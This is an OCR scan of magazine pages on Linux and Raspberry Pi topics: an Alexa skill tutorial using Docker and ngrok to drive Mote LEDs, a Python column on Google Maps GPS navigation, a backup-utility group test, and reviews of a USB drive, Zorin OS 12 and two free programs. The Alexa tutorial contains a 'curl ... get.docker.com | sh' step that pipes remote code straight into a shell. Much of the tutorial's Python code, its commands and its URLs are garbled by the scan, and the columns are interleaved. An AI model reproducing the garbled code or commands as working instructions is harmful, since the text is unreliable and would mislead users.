things Linux.
https://alexellis.io/

' Our skill will provide utterances for changing the colour of
Wha-t you’ll need our LEDs like “Alexa, ask Mote change to blue” and will let us

turn them off by saying “Alexa, tell mote turn off.”
M Github repository: https:/github.com/

alexellis/motephat-alexa 0 Prepare your hardware

Prepare your mote-phat add-on board by attaching

B Pimoroni mote-phat and accessories and soldering its 40-pin female header, which will be
(pimoroni.com) included in the packaging. If you're using a Pi Zero you will
u Soldering iron. flux and solder also need to solder a 40-pin male header before continuing.

0 Set up the base system

Flash a new SD card with Raspbian Jessie Lite,
In 2016, Amazon brought the Echo (£150) and Echo Dot making sure to create a file in the boot partition called
(£50) devices to the UK market, providing a voice assistant  ‘ssh’; this will let us connect over SSH remotely and copy/
for your home. The Alexa service provides lots of built-in  paste commands without needing Ul packages or a screen.
features such as radio and music streaming, creating and  Once plugged in, your Pi will be accessible via ssh pi@
editing your shopping lists, weather updates and many raspberrypi.local.
other custom skills provided by third parties. Skill builders
such as Uber and Capital One publish their skills for the 0 Responding to Alexa — Lambda or HTTPS
general public, which means they go through a vetting Alexa can either invoke code over a HTTPS endpoint
process similar to that of the Apple App Store. For this  (web-service) or via a Lambda function, which is a piece
tutorial, we will be creating an unpublished skill for our own  of code uploaded to Amazon’s AWS service and invoked
Echo or Echo Dot to control the Pimoroni home lighting kit on demand. For our tutorial, we'll set up our own HTTPS
called Mote. endpoint from our Pi to the public internet with the ngrok
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tool. Download and unzip ngrok for Linux ARM into /usr/bin’
from https://ngrok.com/download
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0 Install Docker

Docker is a packaging and runtime system that
allows us to build, ship and run software easily. Run these
two commands then reconnect over SSH.

I W

I # curl -sSL get.docker.com | sh
B # sudo usermod pi -aG docker

I v

Now clone the Github repository and build the Docker image
(this will take some time):

I
I # apt-get update && apt-get -qy install git jq

l # git clone https://github.com/alexellis/motephat-
alexa

B # docker build -t alexamote .

I W

The resulting Docker image contains everything needed for
our application in anisolated package.

T sellis — pidémote: ~fdevimotephat-alexa — sah u2
- - pHimota; =[orvimotaphst-shesa — ssh u7 +

Start the code with Docker
Our project’s code is packaged with all its

0

dependencies into a single container. We can now run that
in the background and open the ngrok HTTPS tunnel to the
internet. The flag -p tells Docker to expose the port for our
web server code that talks to Alexa. The -d flag tells the
service to run in the background.

Alexa

I IS

I # docker run --name mote --privileged -d -p
5000:5000 alexamote

I # ngrok http 5000 > /dev/null &

I # curl localhost:4040/api/tunnels | jq -r
“.tunnels[1].public_url “

(SN

Take note of your ‘public_url’ beginning with https. This
changes every time the ngrok process starts.
If you want to stop the mote-phat process later on you can
type indocker rm -f mote or docker pstoview its status.
Test the endpoint

O Once you have your HTTPS URL from ngrok, then
you can test everything out by sending in a request just
like the one the Alexa SDK creates. We have captured two
samples and saved them in the Git repository.

Test going red:

I # curl -X POST -H “Content-type: application/
json” -d @coloursample.json https://c@0738f6.ngrok.
io

I (S

Test turning the lights off:

I # curl -X POST -H “Content-type: application/
json” -d @coloursample.json https://c@@738f6.ngrok.
io

0 Create an Alexa skill

Head over to https:/developer.amazon.com/
myapps.html and click Alexa>Alexa Skills Kit>Get Started.
You may need to register for this step and provide billing
information for any purchases you want to make.

Click Add a New Skill>English UK and type in ‘mote’ for the
name and invocation name fields. For the intent schema,
copy/paste ‘speechAsssets/intentSchema.json’ and for
sample utterances ‘speechAsssets/sampleUtterances.

txt. You must also add a custom slot called colour with the
values red/green/blue on separate lines. The custom slot
helps Alexa by providing a list of all the things you could say
to her - it’s like a parameter in coding.

|

Natural
Language
Parsing (NLP)

_

The Alexa service
sends recordings
from your device to
the Amazon cloud
where NLP (Natural
Language Parsing)
breaks the words
downintointents
and slots. Asample
phrasesuchas
“Alexa, whatis the
weather for London
tomorrow?” would be
parsed asanintent
of “FindWeather”
with two slots of:
Date=tomorrow and
Location=London,
UK. Sample
utterances help
coverthe many
different ways we
can say the same
thingin alanguage.
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Tutorial

Docker

_

Dockerisa
game-changer for
packaging, deploying
and running
software. Eachtime
you build software,
Docker creates an
image with its own
root filesystem and
network addresses.
Inside a Docker
container it feels
exactly likeafull
virtual machine,
except faster,
because a container
isregular process
with some advanced
syscalls applied

for security and
isolation. The Docker
CLlis intuitive for
Linux users with
commands like
‘docker ps’, ‘docker
run’, and ‘docker kill’.
The ‘docker build’
command uses a
Dockerfile, which is
similar to a Makefile.
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08 Point Alexa to your HTTPS endpoint

Under the configuration tab of your Alexa Skill, click
service endpoint type: HTTPs. Then select your nearest
region (this will be Europe in the UK) and paste in the ngrok
URL from earlier.

Englun UK ) S A b Lingroage

Global Fields

Endpoint

Service Endpoint Typs:

Prck o geogesghical regron that s cisseat o yeur argat customars: @)
Warth Amarica. € Burope.

Eutope
itpacifideThchdngrokis

Account Linking

Do you allow users bo creste an seceunt of

ok 1 an extating sccount with you? You g Mo

1F post_duta] "requist™] [ “intent™][ "asae™] == “TursOf FIntent”:
respanse = grt_response(*Turning off*, 08"}

lse:
response = get_response( 0K setting desired tolour®, “0C°)
slot_colour = post_dats[”request” ][ "intest”]["slots™]( “Calour”][“value"]
if mot slot_calour in [“red”, “green”, “Blue’):

response = get_respense(“Can only set red, green or ble",

e

“Errer*)

red = @

green - 8

bl = @

if slot_colour == “red”:
red = 255

SLEF slot_cslour == "greent:
green = 355

€LIF slot_colour == “Blue":

blue = %%
mote. set_calour(red, green, Blue)
Futern Responsalfion. duwps (respense), sisetype="appllcation/Json’)

Now click ‘My development endpoint has a certificate from a
trusted certificate authority’ on the SSL Certificate tab.

On the Test tab you can type in sample utterances such
as “change to blue” or “turn off” — when you click ‘Ask mote’ a
message will be transmitted to your Pi from Alexa’s online service
bypassing the Echo/Dot.

0 Talk toyour Echo

If everything worked you will be able to talk to your Echo/
Dot. Simply say “Alexa, ask mote change to red” or “Alexa, ask
mote to turn off”. For dimming the brightness level you can take

inspiration from Alex’s Christmas Tree hack’s source-code at:
http://blog.alexellis.io/christmas-iot-tree/

1 Nextsteps

Now that you have created your first skill, maybe you can
think of some ways to extend it or to apply it to other hardware
projects? We think dimming the light could be useful and it should
be easy to add other colours. If you want to know more about
Docker, check out the boxout, the Dockerfile on the articles GitHub
and Alex's beginner tutorials at: http:/blog.alexellis.io/tag/
raspberry-pi/ ll
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Python column

Travelllng with a Raspberry Pi

This month, we will

look at how to use your

Raspberry Pi as a mapping guide

Joey Bernard
JoeyBernardisa
true renaissance
man, splitting

his time between
building furniture,
helping researchers
with scientific
computing problems
and writing

Android apps

Why
Python?

It’s the official
language of the
Raspberry Pi.
Read the docs at
python.org/doc
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In a previous article, we
looked at how to connect a
GPS to your Raspberry Pi

and be able to find your current location
on the planet from the GPS receiver.
This issue, we will look at how you can
use this kind of location information to
build your own mapping application,
such as a navigation system. We will be
making a few assumptions about what
hardware is connected to your Raspberry
Pi. The first is that you have some kind of

browser that needs to be installed on your
Raspberry Pi. You can select any browser
that you prefer. This way, we can use the
web APl from Google to draw the actual
map itself. In order to use any Google
APIs, you need generated keys in order to
authenticate yourself. Go to the web page
https://developers.google.com/console,
log in using a Google account and select
an existing project or create a new one.
You can then select which APIs this key
will be valid for. The type of key you need to

"We'll use two main packages,
googlemaps and webbrowser"

GPS receiver attached, in order to give
you your current location. Second, we
will assume that you have some kind of
display screen attached, so that you can
have a graphical user interface available
to draw maps on to. Last, we will assume
that you will already have internet
access available to the Raspberry Pi.
For example, you may decide to use your
phone as a hotspot or you may use one of
the wireless networking shields available
for the Raspberry Pi. Assuming you have
this hardware connected, we will look at
what we can do with some Python code to
visualise where we are in the world.

The first step is to be sure that you have
the correct Python modules installed.
We will be using two main packages,
googlemaps and  webbrowser.  You
probably want the latest version of each,
soyou can use the following commands:

sudo pip install googlemaps
sudo pip install webbrowser

There are a number of dependencies
also needed that pip will install at the
same time. The first module talks to the
Google mapping API to be able to make
data conversions, and to be able to make
location-based queries. The second
module is actually part of the standard
Python library, and is used to talk to
web browsers installed on your system.
This implies that we will be using a web

generate is a server key, and will be used by
the googlemaps module. You can create
a googlemaps client object to talk to the
Google Maps server with this code:

import googlemaps
gmap = googlemaps.Client(key="your
key here")

Now you can interact with the Google
map services through the newly created
googlemaps object. For example, you can
query an address and get geographical
information about it with the code here:

locationl = gmap.geocode('116 Tudor
Ave, Charters Settlement, NB')

This location information contains
the complete address, including each
political level such as municipality,
county, province, country, etc. It also
includes the latitude and longitude of
the location. This is handy if you have
an address that you are trying to plot on
your map, but we already have a GPS
receiver attached to our Raspberry Pi
that can give us the coordinates of the
current location. You can actually do
the reverse of this and find out what
the nearest address is to your current
location. You can use the method...

addresses = gmap.reverse_
geocode([45.836, -66.742])

...to get a list of all of the civic addresses
near this location. There are several other
methods available.

Now that we have some coordinates
for our location, we need some way to
visualise it. Google Maps provides a
different API to access its map rendering
functionality. These have all been designed
around some kind of web browser used to
actually render a visible display. The two
APIs we will look at are a static one and a
JavaScript one. Both of these also require
an APl key in order to do the query. Since
they are web-based interfaces, they take
the form of a URL. This URL needs to be
handed off to a browser to handle the map
rendering. This is where we will use the
webbrowser module, as inthe example:

import webbrowser
browser = webbrowser.get()
browser.open(url)

The 'get()') method returns a controller
object that opens the default browser on
your system and allows you to interact with
it through the controller. We then use the
‘open()' method of the controller object to
load the given URL into the newly created
web browser. The URLs have this form:

https://maps.googleapis.com/maps/api/
staticmap?center=45.836,-66.742&zoom=
14&s1ze=400x4008key=YOUR_API_KEY

The parameters included are the ones
required by the API. The parameter 'center’
can take either an address or a set of
longitude and latitude. The zoom level goes
between 0and 21. Level O allows you to see
the entire world, and each increase in value
zooms you in. The size parameter tells the
web interface what size, in pixels, to render
the map to. The last parameter is your AP
key that you authenticate with. Again, you
will need to make sure that the static map
APl is enabled for your APl key. Otherwise,
you will get an error message telling you
thatthe relevant APlis not enabled yet.
While this code is fine if you are
happy using a web browser to display
the rendered map image, this isn't your
only option. You can use one of the URL



handling modules to actually download
the rendered map as an image file. For
example, you could install the pycurl
module with the following code:

sudo pip install pycurl
Download a JPEG version of a map with:

with open('out.jpg’, 'wb") as f:

¢ = pycurl.Curl()

c.setopt(c.URL, 'https://
maps.googleapis.com/maps/api/
staticmap?center=40.714728 -
73.9986728&z00m=12&s1ze=400x400&forma
t=jpgdkey=YOUR_KEY")

c.setopt(c.WRITEDATA, f)

c.perform()

c.close()

This code saves the map to the file 'out.
jpg' that you can then use later in one of
the Python GUI frameworks, such as Kivy.
In all of these examples so far, we have just
rendered a map centred on the location
coordinates given to the Google mapping
APL. There is nothing visually identifying
where that location is onthe map, however.
Luckily, there is an extra parameter named
'markers' that you can use. For example,
you could use a URL like:

https://maps.googleapis.com/maps/
api/staticmap?zoom=15&size=400
x400&markers=color:blue|45.836,-
66.742&format=jpg&key=YOUR_KEY

This will use implicit positioning to render
a map centred on the coordinates of the
added marker. It will also draw a blue
marker icon identifying that location.

This code works fine for finding your
current location and displaying it on a map,
but that is not enough for a navigation
system. If you are trying to navigate, you
need to be able to get directions from
where you are to where you want to get
to. The Google mapping API provides a
method of getting these directions for you.
The googlemaps client object we created
earlier has a method called 'directions()'
that can return a list of possible routes. For
example, you could use the code:

directions = gmap.
directions(origin='addressl’,
destination='address?2’,
mode="'walking")

This gives you directions for walking from
one address to another. The origin and
destination parameters could also be
location coordinates, too. The mode could
be driving, cycling or public transit, if you
don't feel like walking. The directions
are returned in a list, one element for
each potential route. If you look at one
of the routes, you will see that you get a
dictionary describing each leg of the route.
These descriptions include start and end
coordinates, distance and time between
the start and end, as well as an HTML
text description that you could display to
the end user. When you reach the end of
one leg, there is also a manoeuvre given
that tells you how to progress to the next
leg. For example, it will tell you whether to
turn left or right, or to continue on. You can
use other parameters to the 'directions()'
method to avoid certain features or select
the form of transit, in order to customise
the results foryour particular case.

Now that you have navigated to your
destination, how do you know that you are
in the correct location? You can use the
Google Street View APl to get an image of
the location to display to the end user. The
Street View APl needs to be enabled first,
andthenyou canuseaURL suchasthis:

https://maps.googleapis.com/maps/
api/streetview?size=400x400&locat
10n=40.720032,-73.988354&fov=908headi
ng=2358&pitch=10&key=YOUR_KEY

You can use this URL with the pycurl
code we looked at earlier to download the
returned image as a file so that you can
displayittotheend user.

Here we have covered enough of the
basics that you could put together your
own vehicle navigation system with a
Raspberry Pi, a screen, a GPS receiver and
an internet connection. While we have only
covered the most basic elements, there
is enough here to be able to build a robust
project. Just let yourimagination roam.

Python column

Google isn't your
only option

In the main article we have focused on using the
Google mapping services, but they aren't the only
ones available. The Python module geopy can
handle the geocoding functions that the googlemaps
module does. The difference is that geopy can use
services from several different sources, including
Google, Bing or OpenMapQuest, among others.
They are available as geocoder classes within the
package. For example, you could get the location
from the Nominatum service with the following code:

import geopy

geocoder = geopy.geocoders.Nominatum()

location =  geocoder.geocode('175  5th
Avenue NYC')

The returned location object is a dictionary including
the full address, the latitude and longitude, among
other values. Once you have geographical data that
you want to render and display for the end user, you
can use the module geoplotlib to do so. Geoplotlib
uses mapping tiles from OpenStreetMaps providers
in order to render the map you are trying to draw. By
default, it will use the tiles provided by MapQuest.
The most basic way to use it would be with the
following code:

import geoplotlib
geoplotlib.dot({'lat’:[45],'lon":[-66]})
geoplotlib.show()

As you can see, geoplotlib is modelled after
matplotlib in that all of the drawing commands are
done in memory until the final 'show()' method is
called. At that point, a new plot window is popped
up. The 'dot()' method draws a set of dots using the
list of coordinates given as parameters. All of the
defaults will try and do the most sensible thing and
size the map and the zoom level such that all of the
given coordinates can be viewed. There are options
to control the details of your map, as well. If you want
a map image file, rather than a display window, you
can use this method:

geoplotlib.savefig('mapl’)

This will pop up the display window, take a
screenshot of the rendered map, and save it off to
the filename given. The file format is PNG, so the
file ending '.png' will be automatically added to the
filename you gave.
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Backup utilities

When it comes to keeping files safe, backup utilities can be a big help. Each of these
open source utilities have their strong points, but which one comes out on top?

Areca

From the outside, Areca looks
a fairly complicated piece of Kkit,
but on closer inspection, it's one
of the more complete backup
utilities  out  there.  Promising
quick compression of files to your
hard drive, will its steep learning
curve prove to be its downfall?
areca-backup.org

Bacula

Bacula has been in development
for 17 years; in that time it has
been downloaded thousands of
times and backed up millions of
files. It's another system that isn't
easy on the eye, but promises
industry grade backups for both
personal and enterprise
bacula.org

users.

Bareos

Look familiar? Bareos is a fork of
the Bacula software, but that’s
where the similarities end. Bareos
looks to strip back the complexity

of many Linux backup utilities,

and offer users a relatively easy
way to back up to the cloud
or directly on their
bareos.org

desktop.

UrBackup

Speed is of the essence when
it comes to UrBackup, which
is touted as being one of the
fastest backup solutions out
there. The crux of its services is
done through its intuitive web
server, which works in tandem with
the core software included here.
urbackup.org
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Areca
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Bacula

Will Bacula’s treasure trove of features
be enough to come out on top?

Jobs repart

-k e W M R T mums 0w

I Manage the details of all your backups
and restores in one single menu

Design and usability
Setting up Areca isn't necessarily difficult, but it's pretty arduous and
time consuming. Using the Ul for the first time is a little difficult, but the
menu system is fairly comprehensive. We should mention that there’s
minor French used on certain tabs, but most are accompanied with
English tags alongside them.

Backing up

One of the best things about Areca is that it supports three different storage
modes. Each of these is tailored to different desktops, and we particularly
like the Image backup option, which creates a single archive. Another bonus
is the instant integrity check that Areca performs on your backups, making
sure there wasn't any problem during the process.

Restoring

Perhaps the easiest area to use within Areca is its restoration suite. A handy
‘Logical View’ tab is on offer that is central to this process, with the details of
the restoration then shown. Users will be able to pinpoint the files they want
to restore, and those they want to modify beforehand. It's a level of control
not often seen in backup utilities.

Extras and plugins

Aside from the core backup and restore processes, there isn’t
a whole host of extras in Areca. One inclusion, however, is the
ArecaVSS plugin. This will allow users to backup files that are opened

or locked by your system. It’s surprising how often you’ll need this,

especially if using a multi-user desktop, and it worked flawlessly
during our tests.

Overall

Once you've got past the setting up process, which
we really don’t like, Areca offers nearly everything we

could want from a backup utility. Your backups will be
in safe hands here.

M Bacula allows you to keep track of your backup history,
helping you pinpoint the files that need attention

Design and usability

While offering a steep learning curve, Bacula generally does a good job at
making sure every part of the software is configured to your desktop. The
initial amount of choice is great, but only the core settings can be highlighted
when needed. We should point out that older desktops may have some initial
loading problems with Bacula, but nothing long term.

Backing up

Although backups aren’t as customisable as Areca, Bacula does offer a
long list of possible destinations. Compression of the necessary files is
surprisingly quick, and being compatible with a range of cloud-based
services is particularly handy. Certain settings are superfluous, but can
be discarded when you've mastered the Ul.

Restoring

Bacula offers a decent, if unspectacular, restoring system. While individual
files can be pinpointed to be restored, there’s some noticeable slowdown
when doing this. Getting files from Bacula back onto your desktop is also a
time-consuming process, so it's worth only doing batches of files. We'd like to
see some speed improvements inthe near future.

Extras and plugins

Despite a lack of plugins, Bacula does offer a fairly wide choice of
additional extras to pick and chose from. At the forefront of this is
its automation system, which is a great way of automating key settings
and the backup process as a whole. While it can be a little complicated
to set up at first, the system does offer a handy way to speed up
your backups in the future.

Overall

Bacula has benefitted from 17 years’ worth of updates,
which has ironed out many of the bugs. Features are
plentiful, but we’re worried with the speed issues
when restoring files.

82



Bareos

Bareos claims to make backing up
simple, but does it deliver?

UrBackup

Although not as well known, UrBackup
looks to prove that speed is everything
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I Check the integrity of your backups
through Bareos’s web server

Design and usability

Despite being a forked version of Bacula, the changes are almost
instantly noticeable. Setting up is a particular pleasure, while the Ul is
also easy to navigate. Instead of clogging up the Ul with options, tabs
and menus have been put in place. This helps keep the advanced
settings to one side for those who really need to use them.

Backing up

The backing up process is heavily streamlined, so most key settings
will already be set up and ready for you to use. There’s no limit to the
number of files that can be backed up at once, but it does struggle
with dealing with a cluster of larger files simultaneously. Bareos
can also boast compatibility with many leading web services and
hard drives.

Restoring
What’s instantly noticeable about Bareos is that the restoring process is

fairly quick, and much quicker than the Bacula software it's forked from.

What we didn't like, however, is that a few of our files did corrupt along the
way. It's not much of an issue to restore them a second time, but it's an
annoyance for sure.

Extras and plugins

It has to be said that Bareos has one of the best web clients we've ever
used in a backup utility across any OS. It's a highly intuitive system that
works in tandem with any external hardware that’s connected to it. There’s
a great monitoring system on board for users to track the progress of their
backups, even though it’s a little on the slow side to update.

Overall

It seems Bareos has corrected some of the wrongs
made by Bacula, and it’s the users that benefit the

most here. Its streamlined approach won’'t be for
everyone, but we rate it.

M View the status of your backups and keep
track of the files you've sent to the cloud

Design and usability

There’s a myriad of ways users can look to tailor UrBackup’s software
to their system. Many items come pre-configured, so setup can
really be completed in minutes. However, doing this will prevent you
from accessing some handy extras that UrBackup has to offer, so it’s
advisable to dig a little deeper into the setup process.

Backing up

Backups within UrBackup work around a rigid scheduling system, so
that no matter the time of day, your files are correctly being ported
to an external drive or cloud client. We did find some initial teething
problems with the software connecting to our external drives,
especially when we were using less recognised brands. Something to
bear in mind before use, for sure.

Restoring

One of the better elements of UrBackup is that all restoring is done through
the associated web client. For users, this means that it’s easy to take control
over the restoration process, even enabling you to prioritise certain files over
others. It isn't quick, however, and larger batches of files did cause a few
compatibility issues at times.

Extras and plugins

Security plays a big role in UrBackup, enabling users to add some much
needed protection to anything that’s backed up. Folders and individual
files can both be password protected, while it's also possible to create a
full encryption of any backup added. Wed like to see more options like this
incorporated into other clients.

Overall

There’s a lot to like within UrBackup, and while it
doesn’t do anything that makes it stand out from
the crowd, it nails all the core features you’d expect
to see.
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In brief: compare and contrast our verdicts

Overall

Arecaoffersallyou
could want. We'd

Not a bad backup utility
by any means, butitdoes

For those wanting
something a bit simpler

Different enough, but
lackingin some areas.

Areca Bacula Bareos UrBackup
Designand Tough to get started Advanced settings can Definitely the best Ul of Ahighly configurable
usability with, but a helpful be kept apart from core the bunch, offering plenty set up process that 7
menu systemison choices, a big help for of choice, but without boasts adecent Ul to
hand to aid you new users being cluttered navigate through
Backing up Highly customisable File compressions are Vastly streamlined when Decentarray of
and can be tailored particularly quick, but 7 comparedtotherest, 7 options available, but 7
toyou and your backups aren’t overly with most backups compatibility issues
desktop’s needs customisable pre-configured with certain hardware
Restoring Surprisingly simple Overly slow when dealing Streamlined approach The web client proves
and quick to complete. with individual files, so 7 makes restoring files 7 tobean essential tool
Again, itcanbe only use when batch quick and easy, minus a intrackingall restoring
tailored toyou restoring fewfile corruptions through UrBackup
Extrasand Minimal, but the VSS The on-board Asuperbweb client can Some great security
plugins plugin for unlocking automation systemis be used as amonitoring additions that can be 7
secured files is a big great for getting your tool for the progress of used to protect your
bonus, for sure backups scheduled your backups files both on and offline

love to seeamore
streamlined setup

palein comparisonto
some of the others

from their backup utility,
Bareosis agood choice

Worth checking outas
alastresort

AND THE WINNERVIS...

Areca

Due to the potential risks desktop PC owners
face when it comes to permanent data loss,
choosing the right backup utility is of paramount
importance. Trust us when we say there are
hundreds of choices out there for Linux users
to explore, but the four we've featured here are
regarded as some of the better ones out there.
While there are arguments for Bareos winning this
group test, we decided that Areca just edged it.

Now, well admit that Areca is a daunting
prospect, with one of the most complex setup
procedures weve encountered. However, it's
imperative that you stick with it, as behind the
learning curve is one of the most intuitive backup
systemsyou'llever find.

At the core of Areca is its customisable backup
system, which can be tailored to work on just about
any system — both new and old. Areca uses three
distinct backup procedures to help get your files to
their new destination, with the standard, delta and
image modes all unique in the way they handle the
type and number of files you're looking to back up
at any one point. Even better, there’s compatibility
with a wide range of online software, and we
couldn't find one external hard drive it wouldnt
instantly connect to.
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1 Your history of backups can be saved and viewed
whenever you need them through the backup client

Once you reach the stage of restoring your
files, you'll be in for another treat. A complete
restoration can be fully configured in less than
an hour, and you can halve that if you stick to just
core settings. While many backup clients tend to
struggle with restoration speeds, it simply wasn't

the case. Over the numerous files we looked to
restore, we were pleasantly surprised with the
transfer speeds that were displayed. Sure, there
are other alternatives, but Areca should be your
first port of call when it comes to file backups.

M oliverHitl
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Review | \erbatim Storen'Save SuperSpeed

HARDWARE

Verbatim Store ‘n’ Save SuperSpeed
USB 3.0 Desktop Hard Drive (2TB)

Price

£91.99

Website
www.verbatim-europe.co.uk
Specs

2TB Capacity

USB 3.0 connection

3.5” desktop form factor
External power supply

Bundled software: Nero Backup
Software, Green Button energy
saving software
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It’s hard to ever imagine having an amount of
storage that qualifies as “enough,” isn’t it?
Thanks to our ever-expanding data needs, it’s easy
to wonder how we survived an era when external
storage was primarily measured in gigabytes, let
alone megabytes. But shifting large amounts of data,
such as recorded media files or full system backups,
can be a time-consuming process — and that’s

especially true if you're still using drives on the USB
2.0 standard, firstintroduced way back in 2000.

This latest storage offering from Verbatim uses
the more recent USB 3.0 standard, allowing for data
transfer rates that are theoretically ten times faster
than USB 2.0. The disk is enclosed in a simple black
case which can be oriented horizontally or vertically
(though it doesn’t come with a stand for vertical



Above Aridged grid pattern is the only concession to decoration on the Store’n’Save

B The hard disk market is competitive right now,
and at the manufacturer’s suggested price the
Store ‘n’ Save is on the expensive side (il

usage), and is only slightly larger than a bare 3.5” hard
disk. Setup is simple, with just the bundled power
and USB cables to connect, and the device should
instantly plug-and-play - the disk was instantly
recognised by our Linux Mint machine and was easy
to identify thanks to the Verbatim branding.

Verbatim’s disk doesn’t live up to the theoretical
maximum speed set out by the USB 3.0
specifications, but it does offer a major boost over
any legacy USB 2.0 disks you might still be using. For
read operations, the disk peaked at around 110MB
per second. In like-for-like backup operations, we
found that the Verbatim Store ‘n’ Save offered write
speeds up to three times faster than a similar USB
2.0 disk = more than 80MB per second, compared
to the 28MB per second speed of the older disk.
However, the gap narrows considerably when writing
to smaller files, so this is something you should be
wary of if your backup needs frequently include
large numbers of tiny files. When used with USB 2.0
hardware, the Store ‘n’ Save worked as well as could
be hoped, with read and write speeds of about 32MB
per second. The disk is very quiet in operation.

The disk also includes a couple of bits of bundled
software, Nero Backup Software and the Green
Button energy saving software. Neither is advertised

as being compatible with Linux, and the Nero
software failed to install when we tried to run it
under WINE, so you'll need to manage your backups
another way. The Green Button software does install
via WINE and offers you the ability to configure the
disk to sleep after periods of inactivity to reduce
power consumption, which is a nice bonus if you're
interested in this option. Ultimately, neither piece
of software is a necessity even if you're also going to
use the device on Windows, and you may find yourself
deleting both relatively quickly.

The hard disk market is very competitive at the
moment, and at the manufacturer’s suggested
price, the Store ‘n’ Save does toe a bit on the
expensive side. Comparable desktop external
drives can be obtained for as little as £60, and
more portable 2.5” form factor drives are available
for only slightly more. Without the bundled
software as a distinguishing point, the Verbatim Store
‘n’Save is just a good piece of hardware that performs
in line with expectations but doesn’t offer anything
above what other drives on the market do. This leaves
it as a reasonable option if discounted, but otherwise
it's just a simple and effective means of storing extra
data that shines if youre working with larger files.
& Nicholas Thorpe

Above The Store ‘n’ Save is
uncomplicated, offering just
the two connection ports and
apower button

Pros

Compact size, easy to set upand
use, and offers a clear speed benefit
over existing USB 2.0 drives

Cons

High recommended retail price,
including Nero backup software,
which fails to work via WINE

Summary

If you're in need of extra
storage and you'll be
working primarily with
larger files, the Verbatim
Store ‘n’ Save will do
what you want quickly
and with a minimum of

fuss. However, there
are cheaper devices on
the market that will do

the same job, and the
bundled backup
software won’t

work for you.

7

I [
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Review | Zorin0S 12

DISTRO

Zorin 0S

\

—
Z0O~IN

RAM
512MB

Storage
5GB

Specs

Based on Ubuntu
1GHZ processor
32-bit/64-bit
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One of the biggest advances to come from the world
of Linux in recent months is the emergence of more
Ubuntu-based distributions. Offering flexibility in how
they're used, these distributions also tend to boast
a fairly smooth easy installation system and an even
easier interface to master. Zorin has long been in the
background of existing Ubuntu distributions, but has
gained more recognition of late due to positive feedback
on previous updates.

In its twelfth update, an array of new features has
been introduced, as well as some improvements to core
functions.One primaryfeature thathasn'tchangedisthe

installation, which maintains its simplicity and is done in
the same vein as a standard Ubuntu installation. One of
the positive aspects of Zorin’s installation is that dual
booting actually works, a rarity in many other Ubuntu-
based distributions. It’s also remarkably quick and our
installation of the ZorinOS Ultimate Edition took minutes
to complete. At this point, we should also mention
that a second, Core version of Zorin is also available to
download. It does cut out many of the options available
inthe far superior Ultimate Edition, but it does give you a
little taste of what you can expect from Zorin as a whole
before upgrading.



Additional Drive.

-hromium Web...

Zorin's desktop is GNOME powered, a staple of many
modern distributions. It remains one of the best user
interfaces out there, and the integration into Zorin is
near faultless. Both window management and hot key
assignment prove to be standout features here, with
the latter particularly good for those who seek to stay in
complete controlover their desktop. Perhaps the biggest
difference that the Zorin team has implemented into
its desktop is the amount of customisation options on
hand. Everything from extensions to music integration
can be heavily modified, allowing users toreally tailor the
desktop to their needs. Certain options are a little buggy
—and one or two wouldn'twork atall.

To take the personalisation aspect even further,
the Zorin-branded Appearance app is on hand to
help. The app contains an assortment of options for
customising window appearances and implementing
new colour schemes, but again, a couple of options
wouldn’'t work during our time with it. In terms of
other available software, the offerings here are fairly
standard. Both the LibreOffice suite and Chromium
come as standard, and Ultimate Edition users will
also find 20 games implemented into the desktop —
although many of these are distinctly average. While
the software list isn't spectacular, all the big hitters
areincluded in some form.

AisleRiot Solita

Brasero

Contacts Documents

@

When it then comes to performance, Zorin once again
shines through. While not specifically tailored for low-
resource machines, its lightweight build does mean
aging hardware will be fine here. The lack of superfluous
animations also helps keep pressure on your desktop’s
CPU to a minimum, another common annoyance of
many Ubuntu-based distributions. Perhaps where those
with less than stellar hardware need to be wary is when
undertaking heavy customisation, as the amount of
processing that is required can put your desktop under
a little strain. The only slowdown we encountered when
using a modern setup was with how Zorin opened and
closed apps, which seemed to spike in how RAM is used.
[t's a strange problem to have, but only a small one.

Considering this is only the first version of Zorin 12,
the product is more than usable. It still sports one of
the best-designed interfaces around, and the solid
selection of software is a big plus. Performance is near
faultless and we can even recommend it for use on older
machines. There are still some small kinks to work out
with certain options not functioning, but despite that,
Zorinis adistribution that’s certainly worth the time and
effort to check out and download onto your machine.
Those interested in givingita whirl should head across to
WWW.zorinos.com.

Oliver Hill

Empathy

10°C

W Clear Sky

Changes are plentiful, with both
usability and design seeing some
major improvements throughout.

Afewissuesregardingreliability
within certain areas are the only
downside here.
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Review

GAME PLATFORM MANAGE

Free software

R

Lutris 0.4. 4]

An open gaming platform to

Manage runners

gather in all of your games b e nn o s B
Lutris provides a single place for you
to gather and manage all of your GNU/ AtariBoo
Linux games, including emulated A f:r.-;u.- <1) IJ:L:H 800 ; ‘: f‘ X L L I?;'. T OUters Install Configure
platforms, as well as accounts with : :
Steam etal. Recent versions of Lutris have migrated to B
Python 3, and the installation is quite straightforward 'y Runs games in the browser Confioues
— with deb and other packages provided - but will also Supported piatiomms : Web based games !
dragin a few dependencies. ;

You can automatically import the list of your Steam ﬁ.,',tran,.h, 305 emulator )
games to your Lutris library, and those from other 4 Supported [ s : Nintendo 3D5 L i e 1
services. Emulator installation is either automatic,
or one-click, and all of the Lutris runners that control DeSmuME
the different platforms are easily managed and Nintendo DS Install Configure
configured. You do need a Lutris account, but other
than email and username, no personal information Desura
is demanded. The Lutris client syncs with your lutris. @ o : ;:“J £hfootat install Configure
net account, and the site has plenty of games to keep
you busy. Open Runners Folder Refresh

The Lutris developers are doing a good job of getting
more game studios on board. The latest release
sees the addition of Adventure Game Studio, and we
downloaded their ambitious 2005 release, Adventures
in the Galaxy of Fantabulous Wonderment. Yes, far
more recent games are available, particularly through

Above Lutris ‘runners’ manage platforms, from browser through Linux native,

to emulators and platforms like Steam

Pros Cons

Greatfor...

Putting all of your game

Easy installation foremulators
and their games; easy import
foryour Steam library.

While it works well with a great
range of games, there'll probably
always be some that don't fit.

platforms together
lutris.net/

Steam, but Lutris also provides an opportunity to
discover forgotten gems, and to keep them organised.

COMMAND LINE UTILITIES

dateutils 0.4.]

A handy set of date utilities for scripts and problem solving

Checking dates or timestamps is
something you do often enough in a
script that it's surprising UNIX doesn't
have better utilities for comparing and performing
operations on dates. But these tools are a quick
download away, thanks to Sebastian Freundt’s Dateutils.
Dateutils is a collection of tools for working with dates and
times on the command line — everything from datediff,
which calculates the difference between two dates and
even has an option for leap seconds, to datesort, which
rearranges lines (containing dates) in afile chronologically.

Run autoreconf on the untarred source files, then the
usual ./configure, make and make install, to generate
the complete collection of ten utilities. Dependencies are

mon

dar_lqnerils
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minimal; we were missing only gperf from our recently
